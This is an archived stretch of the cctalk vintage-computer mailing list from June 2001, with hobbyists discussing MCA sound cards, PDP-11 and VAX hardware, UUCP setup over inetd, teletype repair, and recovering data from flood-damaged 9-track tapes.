people that want to run win2k on a 386 model 80... Vibra is a chipset that creative labs uses in their sound cards. Actually, if you just want .wav file sounds and MIDI, an IBM ACPA MCA sound card will work. That's what I'm looking for. From tony.eros at machm.org Thu Jun 14 10:08:06 2001 From: tony.eros at machm.org (Tony Eros) Date: Sun Feb 27 19:04:30 2005 Subject: OT - F-15C Cockpit [was Enigma [was Ebay horror]] In-Reply-To: References: <002901c0f489$07b0d460$9cc762d8@idcomm.com> Message-ID: <5.0.2.1.0.20010614110630.031a6c90@mail.njd.concentric.com> Oh, now _that's_ cool! I gotta ask -- where on earth did you get an F-15 cockpit? -- Tony At 07:33 AM 6/14/2001 -0700, you wrote: >On Wed, 13 Jun 2001, Richard Erlacher wrote: > > > the Enigma. I'd probably not recognize one if it bit me in the leg. > > Unless I > >You'd know it as soon as you saw it. If the top was on it, it says >"Enigma" in on a little oval shaped label. If the top isn't on it, you'd >still spot it for the typewriter like keyboard with a panel above with >little letter lamps on it. > >I'd practically give my left arm for a an Enigma rotor or even a >steckerboard(sp). *wistful sigh* > >Your chances of finding even Enimga parts in a junkyard are about as good >as my chances of getting the back half to the F-15C I have. You're pretty >safe. *laughs* > > >g. >-- >http://www.f15sim.com - The only one of its kind. From GOOI at oce.nl Thu Jun 14 10:14:18 2001 From: GOOI at oce.nl (Gooijen H) Date: Sun Feb 27 19:04:30 2005 Subject: Questions regarding a PDP11/34a Message-ID: Hi Sean. > --- snip --- > 1. Does anyone have the pinouts for the serial line connector > on the DL11 board? I can check at home. My 11/34A console is connected by a self-made connector. Just a few wires. Which DL11 board do you have? M7800, M7800-YA or M7856? AFAIK, the M7856 is most common. > 2. Does anyone know what that BM873-YJ board is? I'm just curious. My guess it is an M873 variant. In that case it possibly contains boot ROMs. > 3. What would be the best way to get this old system running > again? I've got no interface to that RX02 drive, and even .... I would opt for: - an RX02 with the M8256 - an RL02 with the M7762 > I remember someone asking about loading software over a serial line? Sorry. No experience with that. I will report back tomorrow, as promised, unless somebody else already told how to connect the console. -- Henk. PS. You may find some info on the 11/34(A) on my website. Click on the 11/35 console. http://home.12move.nl/~sh416008 From geneb at deltasoft.com Thu Jun 14 10:38:56 2001 From: geneb at deltasoft.com (Gene Buckle) Date: Sun Feb 27 19:04:30 2005 Subject: OT - F-15C Cockpit [was Enigma [was Ebay horror]] In-Reply-To: <5.0.2.1.0.20010614110630.031a6c90@mail.njd.concentric.com> Message-ID: > Oh, now _that's_ cool! I gotta ask -- where on earth did you get an F-15 > cockpit? > I actually found it by accident at the Olympia Air Museum here in WA. A guy local to me owned it and I got it from him. AFAIK, it's the only F-15C (in any condition) in civilian hands, not owned by the USAF. g. -- http://www.f15sim.com - The only one of its kind. From jrasite at eoni.com Thu Jun 14 10:37:57 2001 From: jrasite at eoni.com (Jim Arnott) Date: Sun Feb 27 19:04:30 2005 Subject: Vintage Mac stuff FS (one time post!) References: <3B27B12C.F392FDB0@eoni.com> <3B285F7F.9CCAC7F0@internet1.net> Message-ID: <3B28DA1E.B7C5CB49@eoni.com> NE Oregon... Sorry. Jim Chad Fernandez wrote: > > Jim, > > The list might like to know where you are located :-) > > Chad Fernandez > Michigan, USA > > Jim Arnott wrote: > > > > This may incur the wrath of the list but I gotta clean house! Rather > > than burn list bandwidth, please respond directly to: > > > > Thanks for looking. > > > > Jim From mikeford at socal.rr.com Thu Jun 14 10:30:23 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:30 2005 Subject: MCA sound cards In-Reply-To: <3B28647B.5C48CB43@internet1.net> References: Message-ID: >My ISA SB16 is labled "Vibra". I thought that was a Creative Labs Sound >Blaster name? My MCA card has two big chips, one labeled Vibra 16 creative tech 94 CT2501-TBQ, the other chip just has Reply, hence the card is often called the Reply Vibra 16 card. It has a game port and 3 1/8 mini plugs, but apparently isn't nearly as flexible/compatibe as a real sound blaster. From korpela at ssl.berkeley.edu Thu Jun 14 11:02:27 2001 From: korpela at ssl.berkeley.edu (Eric J. Korpela) Date: Sun Feb 27 19:04:30 2005 Subject: Interest in UUCP? In-Reply-To: <200106140312.f5E3CkH17892@bg-tc-ppp480.monmouth.com> from Bill Pechter at "Jun 13, 2001 11:12:45 pm" Message-ID: <200106141602.JAA17539@homer.ssl.berkeley.edu> > > > I can almost remember when I was "...!ucbvax!gatech!weasel!ken". > > > > I was "...!ihnp4!cbosgd!osu-eddie!giza!kumiss!erd" > > ... peora!petsd!tsdiag!ccop1!i4got (Concurrent computer) Remember the joys of gateways? For a year (ca. 1986), my only access to network email was a fidonet node. I'm going to have to see if I can dig up my instructions on how to Email me from a HEPNET node. IIRC, it was over DECNET to a SMTP gateway, over SMTP to a UUCP gateway, over UUCP to a Fido node, then over FidoNet to the machine where I had my account. The address turned into something like: LBL::SMTP%"long!path!to!fidogateway!121/1%korpela@gateway.somecompany.com" I don't think I ever found a functioning return path. Things were much improved when I moved to a machine that had SMTP, HEPNET and BITNET support all in one place.... Does FidoNet still live? I remember the great USENET invasion of the early 1990s, and see claims of 38000 nodes in May '95. I notice ftp.fido.org no longer exists. Eric From fernande at internet1.net Thu Jun 14 11:01:27 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:30 2005 Subject: Fastpath 4 boxes available References: Message-ID: <3B28DFD7.5710FD30@internet1.net> I see, I thought it was a line of cards or something. One of my SB cards has Vibra printed right on the PCB in big letters. Will the IBM ACPC work in both DOS and Windows? How about 98? I have heard things about the other Microchannel sound cards working in only Windows, or only DOS but not both. I'd like to get one for this machine, a model 80 with a Reply Corp. motherboard and Kingston Turbochip. I run Win98 on it, However, an I don't know if the other sound cards will work. I figured I'd go a little higher than normal on the SoundBlaster, but I wasn't prepared to beat 7 bucks. The seller was correct in staing that they are rare, but i wasn't going to pay that much! Chad Fernandez Michigan, USA SUPRDAVE@aol.com wrote: > Vibra is a chipset that creative labs uses in their sound cards. Actually, if > you just want .wav file sounds and MIDI, an IBM ACPA MCA sound card will > work. That's what I'm looking for. From marvin at rain.org Thu Jun 14 11:05:53 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:30 2005 Subject: IBM Type 1 to Dual BNC Baluns References: Message-ID: <3B28E0E1.315452DA@rain.org> I've got six IBM Type 1 to Dual BMC Baluns; anyone need them? $6.00 including Priority Mail shipping. From vance at ikickass.org Thu Jun 14 11:08:07 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:30 2005 Subject: Fastpath 4 boxes available In-Reply-To: Message-ID: Depending on what you want to do (ie. playing games) the Soundblaster Pro MCV might be the best bet for some people. You would be surprised how many people spend the serious money on the ChipChat Soundcard-32. Peace... Sridhar On Thu, 14 Jun 2001 SUPRDAVE@aol.com wrote: > In a message dated 6/14/01 2:31:49 AM Central Daylight Time, > fernande@internet1.net writes: > > << My ISA SB16 is labled "Vibra". I thought that was a Creative Labs Sound > Blaster name? > > A SB Microchannel card just sold on Ebay for over $70.... I couldn't > believe it! > > I want one too! >> > > $70 for a sound card? that's just stupid. Probably same people that want to > run win2k on a 386 model 80... > Vibra is a chipset that creative labs uses in their sound cards. Actually, if > you just want .wav file sounds and MIDI, an IBM ACPA MCA sound card will > work. That's what I'm looking for. > From vance at ikickass.org Thu Jun 14 11:10:50 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:30 2005 Subject: MCA sound cards In-Reply-To: Message-ID: That sound card was actually *made* by Reply. Peace... Sridhar On Thu, 14 Jun 2001, Mike Ford wrote: > >My ISA SB16 is labled "Vibra". I thought that was a Creative Labs Sound > >Blaster name? > > My MCA card has two big chips, one labeled Vibra 16 creative tech 94 > CT2501-TBQ, the other chip just has Reply, hence the card is often called > the Reply Vibra 16 card. It has a game port and 3 1/8 mini plugs, but > apparently isn't nearly as flexible/compatibe as a real sound blaster. > > From SUPRDAVE at aol.com Thu Jun 14 11:24:41 2001 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 19:04:30 2005 Subject: Fastpath 4 boxes available Message-ID: <89.80baa82.285a3f49@aol.com> In a message dated 6/14/01 11:06:36 AM Central Daylight Time, fernande@internet1.net writes: << Will the IBM ACPC work in both DOS and Windows? How about 98? I have heard things about the other Microchannel sound cards working in only Windows, or only DOS but not both. I'd like to get one for this machine, a model 80 with a Reply Corp. motherboard and Kingston Turbochip. I run Win98 on it, However, an I don't know if the other sound cards will work. >> The ACPA is supported in windows and OS/2. not sure about dos. for 98, you're on your own. Check out http://members.aol.com/mcapage0 as Peter Wendt may have some information about doing so. From jfoust at threedee.com Thu Jun 14 11:33:52 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:30 2005 Subject: Interest in UUCP? In-Reply-To: <200106141602.JAA17539@homer.ssl.berkeley.edu> References: <200106140312.f5E3CkH17892@bg-tc-ppp480.monmouth.com> Message-ID: <4.3.2.7.0.20010614112948.01dbd810@pc> At 09:02 AM 6/14/01 -0700, Eric J. Korpela wrote: >Does FidoNet still live? I remember the great USENET invasion of the early >1990s, and see claims of 38000 nodes in May '95. I notice ftp.fido.org no >longer exists. http://fidonet.fidonet.org/ still lives, and Tom Jennings can be found at World Power Systems at http://www.wps.com/about-WPS/index.html . - John From vance at ikickass.org Thu Jun 14 11:56:08 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:30 2005 Subject: Fastpath 4 boxes available In-Reply-To: <3B28DFD7.5710FD30@internet1.net> Message-ID: The M-ACPA/A is not really a sound card in the traditional sense. It was not designed to do real time playback. It was designed more as a card for annotating multimedia presentations with audio. It will work with DOS and Windows, and 95/98 with some finagling. It will NOT, however be compatible with most games. Also, it probably will not do 44.1K/16. Peace... Sridhar On Thu, 14 Jun 2001, Chad Fernandez wrote: > I see, I thought it was a line of cards or something. One of my SB > cards has Vibra printed right on the PCB in big letters. > > Will the IBM ACPC work in both DOS and Windows? How about 98? I have > heard things about the other Microchannel sound cards working in only > Windows, or only DOS but not both. > > I'd like to get one for this machine, a model 80 with a Reply Corp. > motherboard and Kingston Turbochip. I run Win98 on it, However, an I > don't know if the other sound cards will work. > > I figured I'd go a little higher than normal on the SoundBlaster, but I > wasn't prepared to beat 7 bucks. The seller was correct in staing that > they are rare, but i wasn't going to pay that much! > > Chad Fernandez > Michigan, USA > > SUPRDAVE@aol.com wrote: > > Vibra is a chipset that creative labs uses in their sound cards. Actually, if > > you just want .wav file sounds and MIDI, an IBM ACPA MCA sound card will > > work. That's what I'm looking for. > From vance at ikickass.org Thu Jun 14 11:58:50 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:30 2005 Subject: Fastpath 4 boxes available In-Reply-To: <3B28DFD7.5710FD30@internet1.net> Message-ID: P.S. You can still get brand new ChipChat wavetable sound cards. Peace... Sridhar On Thu, 14 Jun 2001, Chad Fernandez wrote: > I see, I thought it was a line of cards or something. One of my SB > cards has Vibra printed right on the PCB in big letters. > > Will the IBM ACPC work in both DOS and Windows? How about 98? I have > heard things about the other Microchannel sound cards working in only > Windows, or only DOS but not both. > > I'd like to get one for this machine, a model 80 with a Reply Corp. > motherboard and Kingston Turbochip. I run Win98 on it, However, an I > don't know if the other sound cards will work. > > I figured I'd go a little higher than normal on the SoundBlaster, but I > wasn't prepared to beat 7 bucks. The seller was correct in staing that > they are rare, but i wasn't going to pay that much! > > Chad Fernandez > Michigan, USA > > SUPRDAVE@aol.com wrote: > > Vibra is a chipset that creative labs uses in their sound cards. Actually, if > > you just want .wav file sounds and MIDI, an IBM ACPA MCA sound card will > > work. That's what I'm looking for. > From stefan at softhome.net Thu Jun 14 12:14:50 2001 From: stefan at softhome.net (Stefan) Date: Sun Feb 27 19:04:30 2005 Subject: ASR35 help needed Message-ID: <5.1.0.14.0.20010614191302.0291e940@pop.softhome.net> I want to get my ASR 35 fixed but I have no idea where to start and also have no documentation. The problem is that I only have half of the available characters, so until the letter K or something everything works fine, but after that it starts over with the letter A again. Anybody any idea what the problem might be here ? yours, Stefan. From xds_sigma7 at hotmail.com Thu Jun 14 12:16:26 2001 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 19:04:30 2005 Subject: IBM 5110 available (two) Message-ID: What about the 5265? I want that, if it is still alive... Will J _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From ard at p850ug1.demon.co.uk Thu Jun 14 12:41:30 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:30 2005 Subject: Interest in UUCP? In-Reply-To: from "Sellam Ismail" at Jun 13, 1 10:06:27 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 481 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010614/9bede9d4/attachment.ksh From pechter at bg-tc-ppp1167.monmouth.com Thu Jun 14 12:58:10 2001 From: pechter at bg-tc-ppp1167.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:30 2005 Subject: UUCP and Netnews In-Reply-To: <200106141439.HAA11018@stockholm.ptloma.edu> from Cameron Kaiser at "Jun 14, 2001 07:39:14 am" Message-ID: <200106141758.f5EHwAR21442@bg-tc-ppp1167.monmouth.com> > I'd be willing to do it with stockholm if someone will help me set it up. > Will uucico behave nicely if connected to inetd? (I want it to run through > my custom TCP wrappers so that every script kiddie out there doesn't say, > "ooo! open port!"). If you use uucpd to call uucico it works fine. uucpd's available in any of the *BSD sources. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From spectre at stockholm.ptloma.edu Thu Jun 14 13:26:15 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:30 2005 Subject: UUCP and Netnews In-Reply-To: <200106141758.f5EHwAR21442@bg-tc-ppp1167.monmouth.com> from Bill Pechter at "Jun 14, 1 01:58:10 pm" Message-ID: <200106141826.LAA09592@stockholm.ptloma.edu> > > I'd be willing to do it with stockholm if someone will help me set it up. > > Will uucico behave nicely if connected to inetd? (I want it to run through > > my custom TCP wrappers so that every script kiddie out there doesn't say, > > "ooo! open port!"). > > If you use uucpd to call uucico it works fine. uucpd's available in any > of the *BSD sources. Can I run it through inetd, though? I would really rather not have it as a daemon (unless uucpd doesn't do any network stuff). -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Whatever it is, I'm against it. -- Groucho Marx ---------------------------- From dhquebbeman at theestopinalgroup.com Thu Jun 14 13:23:36 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:30 2005 Subject: Book Search Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715116D@jeffserver.tegjeff.com> There's a great book by Gordon Bell and others entitled "Computer Structures: Principles & Examples" which is online at www.ulib.org... However, there are a few pages in it they didn't OCR, but instead just scanned and put up on the web. Unfortunately, they weren't scanned in sufficient resolution to be readable. Does anyone out there have a copy of this book? What I need are the instruction-set processor listings for the CDC 6600 Peripheral & Control Processor on pages 737-738, and the isp for the CPU of the same machine, pages 739-742. The scans need be only hi-res enough for me to OCR; as an alternative, I'll take photocopies, but I'd rather not leave this to someone else to OCR for me (actually, I don't mind someone else OCR'ing it for me as long as I can get printed or scanned copies to use as a sanity check). This book should not be confused with Bell, et. al., "Computer Structures: Readings and Examples". Also a great book, but lacking the info I need. Thanks, -doug quebbeman From ard at p850ug1.demon.co.uk Thu Jun 14 13:25:01 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:30 2005 Subject: ASR35 help needed In-Reply-To: <5.1.0.14.0.20010614191302.0291e940@pop.softhome.net> from "Stefan" at Jun 14, 1 07:14:50 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 903 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010614/95e69395/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jun 14 13:03:02 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:30 2005 Subject: Ebay horror ... In-Reply-To: <004901c0f495$1b7300c0$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 13, 1 11:44:20 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 5472 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010614/e50efa6d/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jun 14 13:26:49 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:30 2005 Subject: Questions regarding a PDP11/34a In-Reply-To: from "Gooijen H" at Jun 14, 1 05:14:18 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 419 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010614/cf25ba42/attachment.ksh From sieler at allegro.com Thu Jun 14 13:46:41 2001 From: sieler at allegro.com (Stan Sieler) Date: Sun Feb 27 19:04:30 2005 Subject: IBM 5110 available (two) In-Reply-To: Message-ID: <3B28A421.20960.1F2D3CEF@localhost> Re: > What about the 5265? I want that, if it is still alive... Email the guy! (Sorry, I can't recall if he said it's working or not) Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From jhellige at earthlink.net Thu Jun 14 14:14:02 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:30 2005 Subject: Cool find...Quest Super Elf Message-ID: <01Jun14.151401edt.119046@gateway.mediacen.navy.mil> Didn't someone on the list ask about the schematics and such to the Quest Super Elf a little while back? As of today, I am the proud owner of one of these machines. It was shipped from Quest on January 27, 1981 as a kit and assembled by the original owner. The total cost of the kit as shipped was $112.85. He added the full hex display, including low and high address displays and he also gave me it's PSU, Quest catalog dated Jan 81, and the original reference manual. It's also still in it's original box. If anyone still needs info, let me know. Jeff From fmc at reanimators.org Thu Jun 14 14:14:52 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:04:30 2005 Subject: UUCP and Netnews In-Reply-To: Cameron Kaiser's message of "Thu, 14 Jun 2001 11:26:15 -0700 (PDT)" References: <200106141826.LAA09592@stockholm.ptloma.edu> Message-ID: <200106141914.f5EJEq868967@daemonweed.reanimators.org> Cameron Kaiser wrote: > Can I run it through inetd, though? I would really rather not have it as a > daemon (unless uucpd doesn't do any network stuff). In modern FreeBSD (back to 1997 or so), uucpd is intended to be run from inetd. It does /etc/passwd-based login authentication and launches uucico. I am not sure this was always true of uucpd; I have a vague recollection of some system on which uucpd was intended to run as an independent daemon that opened port 540 directly, and can't remember whether that was the behavior of earlier BSD Unix or was just a brain-damaged implementation from a Unix vendor that didn't get it. Taylor UUCP supports running uucico directly from inetd. If you give uucico a -l argument it will issue "login:" and "Password:" prompts and do login authentication using its own list of users and passwords (not /etc/passwd). What's stockholm running, AIX? -Frank McConnell From mmcfadden at cmh.edu Thu Jun 14 15:14:52 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:30 2005 Subject: Interest in UUCP? Message-ID: If we are talking unique networks, how about: 1. I think what we need is a series of iridium phones and modems, we can be "outside" of the regular networks. 2. Maybe a series of store and forward cell phone sites. You call and download an analog data file and each node forwards the call to the next nearest site until you reach the destination. 3. Microwave BBS. 4. Short-wave network Mike mmcfadden@cmh.edu From mmcfadden at cmh.edu Thu Jun 14 15:25:34 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:30 2005 Subject: A/C for Workstations Message-ID: I think they make some water cooled units, the heat is dumped into the water which is then exhausted as waste. Maybe it could be attached to a garden hose. Of course water and computers rarely mix well. I found a pointer to small area water based A/C units http://www.spot-coolers.com/t_watercooled_index.html Mike mmcfadden@cmh.edu From edick at idcomm.com Thu Jun 14 15:20:15 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:30 2005 Subject: Ebay horror ... References: Message-ID: <003201c0f50f$6c5fb4e0$9cc762d8@idcomm.com> Yes, those odd-ball high-cost or many-years-obsolete devices certainly are different from the popcorn $4, new 4 for $1, used serial boards. Of course, a "real" serial board, with, say, a TCM 78808 instead of the garden variety uart on it, well, that's not so easy to fix. I remember the DEC guy telling me that it's cheaper to toss one of their 16-port boards than to have it fixed. I never liked DEC ... Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Thursday, June 14, 2001 12:03 PM Subject: Re: Ebay horror ... > > > > minutes it takes to swap them, and it costs 100x that much to fix the serial > > > > board, at a minimum, it seems to make sense to swap the board. That does > > fix > > > > > > Are you seriously telling me it takes you 1000 minutes (or over 16 hours) > > > to fix a serial board? The only time it could take me that long is if the > > > 'serial board' was something like a DEC DMR11, and it had a nasty logic > > > fault in the microcoded processor. > > > > > I'd never spend more than that 10 minutes I mentioned before on a serial port > > Nor would I spend any longer than that, because it wouldn't take me any > longer than that... > > > board, because they only cost 50 cents or a dollar at the thrift store. If you > > You also have to consider the time taken to go to the thrift store, buy > the item, and come home. In my case here that would be around 1 hour, I > think. Hmm.... > > > have a complicated serial board, i.e. one that doesn't talk the "normal" > > asynchronous protocol, and that runs at a higher rate, e.g. 4.762 Gbps, and is > > The DMR11 is not particularly fast (in fact it's slow by modern > standards), but it does have a 'processor' on it (a lot of TTL parts and > microcode PROMs). It's not the sort of thing you can replace with bits > from the local PC shop, charity shops, etc. Oh, and it's a Unibus card > for a PDP11 > > [Before the DEC enthusiasts here leap on me, yes I know it's physically 2 > PCBs. I have enough of them, the printset, etc.] > > [...] > > > ones with socketed components seldom break. It's only going to break if the > > part is soldered down. > > Isn't that the truth :-( > > [...] > > > > > True, but not if you don't fiddle with the cables. Moreover, even the few > > > > > > Actually, a serial port meeting RS232 standards should be able to withstand > > > hot-swapping of the cables. Shorting any 2 pins together, or to ground should > > > do no damage. > > > > > Then why do they break? and why don't they socket the transmitters and > > Because half of them don't actually meet RS232 standards!. And dodgy > grounding doesn't help. If the peripheral (or whatever) is not properly > grounded, the 0V line can be floating at half mains voltage wrt local > ground (due to the capacitors in the mains filter). That can zap the > RS232 buffer chips. > > > receivers? > > Because sockets cost money, and most users wouldn't know how to replace > chips anyway... I have seen devices where the I/O buffer chips are > socketed (and almost nothing else is), presumably to make them easy to > replace, though. > > > > Over here 'charity shops' (==thrift stores) don't generally sell > > > computer parts. They may sell complete computers if you are lucky (and > > > can find a volunteer to do electrical safety tests). But I've never seen > > > a serial card or anything like it in one. > > > > > The common PC at a thrift shop has had the "interesting" boards removed, along > > As I said, this is a country-specific thing. > > Over here, mains-operated electrical stuff has to be safety tested by a > 'qualified person' before it can be sold. Since most charity shops are > run by volunteers who have no knowledge of electrical stuff, most such > shops can't sell second-hand computers, etc. > > And they certainly have no clue as to what 'interesting' boards are. I > doubt they'd ever consider opening up the case. > > > PSU and fan costs $22. At the thrift store, you get a used fan with the PSU, > > but it will get you through a few days until you can order and take delivery of > > a new case. > > TO be honest I'd rather by a _good quality_ fan from somewhere like RS > components and install it in the original PSU. It'll cost more, but I > won't be fixing the machine again in a year's time... > > > > I have to conclude that either you're soldering with an arc-welder or you > > > are taking months to change a single chip. > > > > > It's not months, but electricity isn't that cheap here. My soldering iron uses > > I am still very suprised. Soldering irons are not exactly high-power > devices... > > > butane, by the way, but still, it's much cheaper to replace the entire board. > > I must get a butane soldering iron sometime -- for 'field' repairs. When > I'm at the workbench I prefer a temperature-controlled soldering iron. > Period. > > > > For 'static' equipment (i.e. not stuff that's carried about, mounted in > > > vehicles, etc), turned pin sockets (machined pin sockets) seem to be > > > reliable. I always use them on my prototype boards, not because it makes > > > it easier to replace chips, rather that it's easier for me to pull chips > > > and force signals high or low when tracing design bugs. > > > > > Yes, but they cost like the devil, and the pins on the wire-wrap types are too > > Sure, but they are relaible. I don't like wasting time tracing faults > caused by poor-quality components. And if I'm demonstrating a prototype > I've designed, I want it to work reliably. > > Having had a few problems from folded-contact sockets, I went over to > turned pin ones exclusively. And never had any more problems... > > > long to suit me. For soldertails, I like the ones made by Burndy and Augat, > > You can always cut them dowu... > > > > Once I've got the design worked out, I socket (unless there are good > > > reasons not to) : > > > > > The sockets take up considerable space perhaps better used for air flow. That's > > a reason not to. > > If it's one of my own devices, I'll just use a slightly larger box and > keep the airflow that way. If it's going in a cardcage, then yes, I might > need to not use sokects to keep the airflow right. > > -tony > > From dhquebbeman at theestopinalgroup.com Thu Jun 14 15:26:59 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:30 2005 Subject: 9-Track Magtape data Recovery Technique (Last Ditch!) Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151173@jeffserver.tegjeff.com> Hello all... This message is directed at those you who are actively performing data recovery on old 7-track and 9-track tapes. Last summer, just before I toasted my Prime, I was successful at reading data off tapes that were not previously readable (and by previously I mean MY attempts in the weeks prior to that night had failed). The tapes had been stored in a basement that flooded. Then, they were not recovered from the basement until it was pretty much dry (two years later). Oxide was falling off. There was lots of either mineral precipitate or some kinda lichens or fungus growing on the tape. I couldn't even read the label on one of them. I thought judicious cleaning of the tape head might help. I kept trying, no luck. Then I started to drink. As the alcohol took affect, I got a wild idea. My drive is a Cipher F880 streamer. You can slide it out of the rack tray, and if you enter the right sequence of button presses, you can unlock the front door, and even better, the top lid, which provides access to the tape path during operation. So, I took a cleaning swab, soaked it in cleaner (not Freon TF, and likely a poor substitute) and applied it against the tape, directly before the tape read head. It immediately stopped re-trying, and started streaming! When the swab would get dry, I'd pull it away, and almost immediately, the drive would start retrying until once again, I brought the wet swab against the tape. Doubtless, this is going to leave all kinds of crud on the tape path, and might even shorten the drive's life. But Cipher F880's are a dime a dozen; data on tapes a bit more rare. Has anyone else ever tried this? I know what you're thinking, flaky jerk, getting drunk and burning up vintage hardware. But it worked! I spent a few hours looking at the files to make sure they were intact; they were. I transferred some of them, but not all, as I don't have a transfer program to get stuff off the Prime right now (other than to simply list it and capture the listing). I have other tapes right now that I'd like read; I sent them to someone who tried, and they said they could not even read the first block, indicating that they might be 7-track instead of 9-track (possible). Anyway, there it is, bread cast upon the waters. With any luck at all, I'll get a sandwich out of it. Regards, -doug q From mmcfadden at cmh.edu Thu Jun 14 15:44:57 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:30 2005 Subject: OT - F-15C Cockpit [was Enigma [was Ebay horror]] Message-ID: Maybe an Enigma could end up in the trash. There are amazing thing that end up in the trash by accident, Between 1977 and 1983 when I worked at McDonnell-Douglas a cruise missile case ended up at a high school shop class, they received the leftover wood crates. It was locked and nobody was sure if there was a missile inside. Of course the cases and the missiles were serial numbered. The company hadn't reported any missing and all were accounted for. Of course nobody actually visually counted them. Everybody believed it was a hoax until the school brought the case to the plant and then heads rolled. Actually only an empty case. I've heard that small military items, weapons, occasionally disappear because they are never visually counted only accounted for in the computer. Never blame a human blame it on the computer. Mike mmcfadden@cmh.edu From spectre at stockholm.ptloma.edu Thu Jun 14 15:59:06 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:30 2005 Subject: UUCP and Netnews In-Reply-To: <200106141914.f5EJEq868967@daemonweed.reanimators.org> from Frank McConnell at "Jun 14, 1 12:14:52 pm" Message-ID: <200106142059.NAA11012@stockholm.ptloma.edu> > > Can I run it through inetd, though? I would really rather not have it as a > > daemon (unless uucpd doesn't do any network stuff). > > In modern FreeBSD (back to 1997 or so), uucpd is intended to be run > from inetd. It does /etc/passwd-based login authentication and > launches uucico. : > Taylor UUCP supports running uucico directly from inetd. If you give > uucico a -l argument it will issue "login:" and "Password:" prompts > and do login authentication using its own list of users and passwords > (not /etc/passwd). > > What's stockholm running, AIX? Correct, 4.x. I have the AIX uucp toolkit already installed, but it's not configured in any way (it calls it Basic Networking Utilities, in typical Big Blue obfuscation). Speaking of uucpd, it looks like the system is already set up. I was going to add the relevant line to inetd.conf and it looks like it's there ready to go: #uucp stream tcp nowait root /usr/sbin/uucpd uucpd I'm going to put my transparent IP-range-restrict wrappers around this, but it looks like I'm set with the binaries and just need to set it up (I'm very new to administering UUCP, so help and pitfall warnings appreciated). -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- The new Tourette Syndrome movie: Twitch and Shout! -- John Waters ---------- From jhfine at idirect.com Thu Jun 14 16:12:40 2001 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 19:04:30 2005 Subject: VAX 8600 lot hauled (was: Austin Texas UT Auction) References: <200106041143.f54BhPx10741@bg-tc-ppp478.monmouth.com> <200106041143.f54BhPx10741@bg-tc-ppp478.monmouth.com> Message-ID: <3B2928C8.BCC10DAC@idirect.com> >Zane H. Healy wrote: > I hope you realize that with a MicroVAX II, especially in a BA123, the most > desirable part is the chassis itself, even if it's not all there. It took > two BA123's and some loose parts from a friend for me to have a complete > chassis with all the panels. So I've got one good BA123, and one that can > be used, or can be a parts donor to the other. Jerome Fine replies: Maybe where you live that is true, but I can't say that anyone here in Toronto except for myself thinks that way. And no one seems to be close enough to be interested in two dead BA123 boxes that I have had for the past two years. In one case, I am reasonably confident that the "power" capacitor in the circuit to convert the AC to DC is no longer there - at least just the two ends of the wires were all that were left after that "magic smoke" disappeared. The other box will no longer allow me to boot the M8189 board that I used for a test. I would be VERY happy to trade the two non-working power supplies for one working one. I suppose that if that does not happen within a year, anyone can have both boxes for local pickup. Anyone interested? I also have a number of ESDI disk drives and RQD11-EC controllers that I would be interested in trading for either one 11/93 or the hardware needed to set up ether net between the PDP-11 and a PC running E11. I also have a number of RL02 disk packs and perhaps 2 RL02 drives. Eventually, all the stuff in the basement must be 